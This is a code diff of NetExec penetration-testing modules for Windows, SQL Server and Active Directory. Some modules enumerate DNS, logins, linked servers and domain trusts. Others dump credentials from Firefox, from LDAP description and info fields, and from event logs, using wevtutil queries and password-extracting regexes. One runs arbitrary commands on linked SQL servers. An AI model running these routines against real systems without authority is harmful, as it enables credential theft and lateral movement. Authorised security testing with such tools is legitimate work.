from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
class NXCModule:
@@ -14,7 +11,8 @@ class NXCModule:
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -30,16 +28,16 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.domains:
domains = []
output = connection.wmi_query("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
domains = [result["Name"]["value"] for result in output] if output else []
context.log.success(f"Domains retrieved: {domains}")
else:
domains = [self.domains]
data = ""
for domain in domains:
output = connection.wmi_query(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = '{domain}'",
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
"root\\microsoftdns",
)
@@ -52,7 +50,7 @@ class NXCModule:
rname = text.split(" ")[0]
rtype = text.split(" ")[2]
rvalue = " ".join(text.split(" ")[3:])
if domain_data.get(rtype):
if domain_data.get(rtype, False):
domain_data[rtype].append(f"{rname}: {rvalue}")
else:
domain_data[rtype] = [f"{rname}: {rvalue}"]
@@ -64,6 +62,6 @@ class NXCModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(data, log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
-49
View File
@@ -1,49 +0,0 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")
def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
-95
View File
@@ -1,95 +0,0 @@
#!/usr/bin/env python3
import contextlib
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
Formerly --interfaces parameter
Made by: @Sant0rryu, @NeffIsBack
"""
name = "enum_interfaces"
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
supported_protocols = ["smb"]
opsec_safe = False
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = {}
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
"""Execute network interface enumeration on authenticated SMB connection"""
self.context = context
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
for sub_key in sub_keys:
interface = {}
try:
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
# Retrieve Interace Name
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
interface["Name"] = str(interface_name)
if "Kernel" in interface_name:
continue
# Retrieve DHCP
try:
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
except DCERPCException:
dhcp_enabled = False
interface["DHCP"] = bool(dhcp_enabled)
# Retrieve IPAddress
try:
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
ip_address = None
interface["IPAddress"] = ip_address if ip_address else None
# Retrieve SubnetMask
try:
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
subnetmask = None
interface["SubnetMask"] = subnetmask if subnetmask else None
# Retrieve DefaultGateway
try:
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
default_gateway = None
interface["DefaultGateway"] = default_gateway if default_gateway else None
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
except DCERPCException as e:
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
with contextlib.suppress(Exception):
remoteOps.finish()
except DCERPCException as e:
context.log.error(f"Failed to connect to the target: {e!s}")
-55
View File
@@ -1,55 +0,0 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
self.context = None
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] is not None]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
-87
View File
@@ -1,87 +0,0 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server logins (SQL, Domain, Local users)
Module by deathflamingo, modified by mpgn
"""
name = "enum_logins"
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.display("Enumerated logins")
self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
for login_name, login_type, status in logins:
self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
else:
self.context.log.fail("No logins found.")
def get_domain_name(self) -> str:
query = "SELECT DEFAULT_DOMAIN() as domain_name;"
try:
res = self.mssql_conn.sql_query(query)
if res and res[0].get("domain_name"):
return res[0]["domain_name"].upper()
return ""
except Exception as e:
self.context.log.debug(f"Error querying domain name: {e}")
return ""
def get_logins(self) -> list:
domain_name = self.get_domain_name()
domain_prefix = f"{domain_name}\\" if domain_name else ""
query = f"""
SELECT
name,
type,
type_desc,
CASE type_desc
WHEN 'SQL_LOGIN' THEN 'SQL User'
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
WHEN name LIKE '%\\%' THEN 'Local User'
ELSE 'Local User'
END
WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
ELSE type_desc
END as login_type,
is_disabled,
create_date
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G', 'C', 'K')
AND name NOT LIKE '##%'
ORDER BY login_type, name;
"""
try:
res = self.mssql_conn.sql_query(query)
if res:
logins = []
for login in res:
status = "DISABLED" if login.get("is_disabled") else "ENABLED"
logins.append((login["name"], login["login_type"], status))
return logins
return []
except Exception as e:
self.context.log.fail(f"Error querying logins: {e}")
return []
def options(self, context, module_options):
pass
+71 -5
View File
@@ -1,5 +1,4 @@
from nxc.helpers.misc import CATEGORY
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class NXCModule:
@@ -9,12 +8,79 @@ class NXCModule:
"""
name = "enum_trusts"
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
pass
def on_login(self, context, connection):
context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")
search_filter = "(&(objectClass=trustedDomain))"
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
flat_name = ""
trust_partner = ""
trust_direction = ""
trust_transitive = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "flatName":
flat_name = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustPartner":
trust_partner = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustDirection":
if str(attribute["vals"][0]) == "1":
trust_direction = "Inbound"
elif str(attribute["vals"][0]) == "2":
trust_direction = "Outbound"
elif str(attribute["vals"][0]) == "3":
trust_direction = "Bidirectional"
elif str(attribute["type"]) == "trustAttributes":
trust_attributes_value = int(attribute["vals"][0])
if trust_attributes_value & 0x1:
trust_transitive.append("Non-Transitive")
if trust_attributes_value & 0x2:
trust_transitive.append("Uplevel-Only")
if trust_attributes_value & 0x4:
trust_transitive.append("Quarantined Domain")
if trust_attributes_value & 0x8:
trust_transitive.append("Forest Transitive")
if trust_attributes_value & 0x10:
trust_transitive.append("Cross Organization")
if trust_attributes_value & 0x20:
trust_transitive.append("Within Forest")
if trust_attributes_value & 0x40:
trust_transitive.append("Treat as External")
if trust_attributes_value & 0x80:
trust_transitive.append("Uses RC4 Encryption")
if trust_attributes_value & 0x100:
trust_transitive.append("Cross Organization No TGT Delegation")
if trust_attributes_value & 0x2000:
trust_transitive.append("PAM Trust")
if not trust_transitive:
trust_transitive.append("Other")
trust_transitive = ", ".join(trust_transitive)
if flat_name and trust_partner and trust_direction and trust_transitive:
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
except Exception as e:
context.log.debug(f"Cannot process trust relationship due to error {e}")
if trusts:
context.log.success("Found the following trust relationships:")
for trust in trusts:
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
else:
context.log.display("No trust relationships found")
return True
-198
View File
@@ -1,198 +0,0 @@
import re
from impacket.dcerpc.v5 import even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
"""
Module by @lodos2005
This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
"""
name = "eventlog_creds"
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.context = None
self.module_options = None
self.method = "execute"
self.limit = None
def options(self, context, module_options):
"""
METHOD EventLog method (Execute or RPCCALL), default: execute
M Alias for METHOD
LIMIT Limit of the number of records to be fetched, default: unlimited
L Alias for LIMIT
"""
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "M" in module_options:
self.method = module_options["M"]
if "LIMIT" in module_options:
self.limit = int(module_options["LIMIT"])
if "L" in module_options:
self.limit = int(module_options["L"])
def find_credentials(self, content, context):
# remove unnecessary words
content = content.replace("\r\n", "\n")
# sort and unique lines
content = "\n".join(sorted(set(content.split("\n"))))
regexps = [
# "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
# wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
# psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
# generic username on command line
r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
# generic password on command line
r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
]
# Extracting credentials
for line in content.split("\n"):
for reg in regexps:
# Remove unnecessary words
line_stripped = line.replace("/add", "") \
.replace("/active:yes", "") \
.replace("/delete", "") \
.replace("/domain", "") \
# Remove command lines that were executed with nxc
line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
# Use regex to find credentials
match = re.search(reg, line_stripped, re.IGNORECASE)
if match:
# eleminate false positives
# C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
# if password is found but username is not found, and password is shorter than 6 characters, ignore it
continue
if not match.groupdict().get("password") and match.groupdict().get("username"):
# if username is found but password is not found. we need? ignore it
continue
# C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
# if username and password is shorter than 6 characters, ignore it
continue
context.log.highlight("Credentials found! " + line.strip())
if match.groupdict().get("username"):
context.log.highlight("Username: " + match.group("username"))
if match.groupdict().get("password"):
context.log.highlight("Password: " + match.group("password"))
break
def on_admin_login(self, context, connection):
content = ""
if self.method.lower().startswith("e"):
limit_str = f"/c:{self.limit}" if self.limit is not None else ""
# https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
commands = [
f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
]
for command in commands:
context.log.debug("Execute Command: " + command)
content += connection.execute(command, True)
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(connection, target)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
try:
xmlString = ResultSet(record).xml()
regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
match = re.search(regexp, xmlString, re.IGNORECASE)
if match and match.groupdict().get("CommandLine"):
content += "CommandLine: " + match.group("CommandLine") + "\n"
except Exception as e:
context.log.error(f"Error: {e}")
self.find_credentials(content, context)
class MSEven6Trigger:
def __init__(self, context):
self.context = context
self.dce = None
def connect(self, connection, target):
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce = NXCRPCConnection(connection).connect(
None,
even6.MSRPC_UUID_EVEN6,
target_ip=target,
string_binding=binding,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
req["Path"] = path + "\x00"
req["Query"] = query + "\x00"
req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
resp = self.dce.request(req)
handle = resp["Handle"]
return MSEven6Result(self, handle, limit)
class MSEven6Result:
def __init__(self, conn, handle, limit=None):
self._conn = conn
self._handle = handle
self._hardlimit = limit
def __iter__(self):
self._resp = None
return self
def __next__(self):
if self._hardlimit is not None:
self._hardlimit -= 1
if self._hardlimit < 0:
raise StopIteration
if self._resp is not None and self._resp["NumActualRecords"] == 0:
raise StopIteration
if self._resp is None or self._index == self._resp["NumActualRecords"]:
req = even6.EvtRpcQueryNext()
req["LogQuery"] = self._handle
req["NumRequestedRecords"] = 100
req["TimeOutEnd"] = 1000
req["Flags"] = 0
self._resp = self._conn.dce.request(req)
if self._resp["NumActualRecords"] == 0:
return None
else:
self._index = 0
offset = self._resp["EventDataIndices"][self._index]["Data"]
size = self._resp["EventDataSizes"][self._index]["Data"]
self._index += 1
return b"".join(self._resp["ResultBuffer"][offset:offset + size])
+17 -5
View File
@@ -1,5 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
@@ -11,7 +9,8 @@ class NXCModule:
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def __init__(self):
self.context = None
@@ -21,8 +20,6 @@ class NXCModule:
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
# Return False to abort the run if options are invalid (log with context.log.fail first).
def on_login(self, context, connection):
"""Concurrent.
@@ -51,3 +48,18 @@ class NXCModule:
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
"""
def on_request(self, context, request):
"""Optional.
If the payload needs to retrieve additional files, add this function to the module
"""
def on_response(self, context, response):
"""Optional.
If the payload sends back its output to our server, add this function to the module to handle its output
"""
def on_shutdown(self, context, connection):
"""Optional.
Do something on shutdown
"""
-44
View File
@@ -1,44 +0,0 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return
self.execute_on_link()
def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
+15 -15
View File
@@ -1,4 +1,4 @@
from nxc.helpers.misc import CATEGORY
import socket
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -16,15 +16,15 @@ class NXCModule:
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
TEXT Search TEXT in the operating system or name of the computer.
Examples:
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
find-computer: Specify find-computer to call the module
TEXT: Specify the TEXT option to enter your text to search for
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
"""
self.TEXT = ""
@@ -35,11 +35,11 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
@@ -69,12 +69,12 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found the following computers: ")
for answer in answers:
resolv = connection.resolver(answer[0])
if resolv:
context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
context.log.debug("IP found via DNS query")
else:
context.log.debug(f"No DNS response for {answer[0]}")
try:
ip = socket.gethostbyname(answer[0])
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
context.log.debug("IP found")
except socket.gaierror:
context.log.debug("Missing IP")
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
else:
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
+17 -31
View File
@@ -1,6 +1,5 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxTriage
class NXCModule:
@@ -11,23 +10,16 @@ class NXCModule:
"""
name = "firefox"
description = "[REMOVED] Dump credentials from Firefox"
description = "Dump credentials from Firefox"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
[REMOVED] use the --dpapi flag instead of the module firefox.
COOKIES Get also Firefox cookies
"""
self.gather_cookies = "COOKIES" in module_options
"""Dump credentials from Firefox"""
def on_admin_login(self, context, connection):
context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
return
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -49,25 +41,19 @@ class NXCModule:
use_kcache=use_kcache,
)
def firefox_callback(secret):
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
context.db.add_dpapi_secrets(
target.address,
"FIREFOX",
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
firefox_triage = FirefoxTriage(target=target, logger=context.log)
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_triage.run(gather_cookies=self.gather_cookies)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
except Exception as e:
context.log.debug(f"Error while looting firefox: {e}")
+24 -10
View File
@@ -1,8 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -12,9 +11,10 @@ class NXCModule:
"""
name = "get-desc-users"
description = "Get description of the users. May contain password"
description = "Get description of the users. May contained password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
@@ -55,15 +55,29 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
description = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = attribute["vals"][0]
if sAMAccountName != "" and description != "":
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
@@ -94,5 +108,5 @@ class NXCModule:
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
return answersFiltered
-45
View File
@@ -1,45 +0,0 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the info field of users
Module by @sepauli
"""
name = "get-info-users"
description = "Get the info field of all users. May contain password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""FILTER Apply the FILTER (grep-like) (default: '')"""
self.FILTER = ""
if "FILTER" in module_options:
self.FILTER = module_options["FILTER"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(info=*)",
attributes=["sAMAccountName", "info"]
)
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
answers = self.filter_answer(context, answers)
if answers:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
if not self.FILTER:
context.log.debug("No filter option enabled")
return answers
# Filter
context.log.debug(f"Filter info field with: {self.FILTER}")
return [answer for answer in answers if self.FILTER in answer[1]]
+89 -50
View File
@@ -2,20 +2,49 @@
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
import re
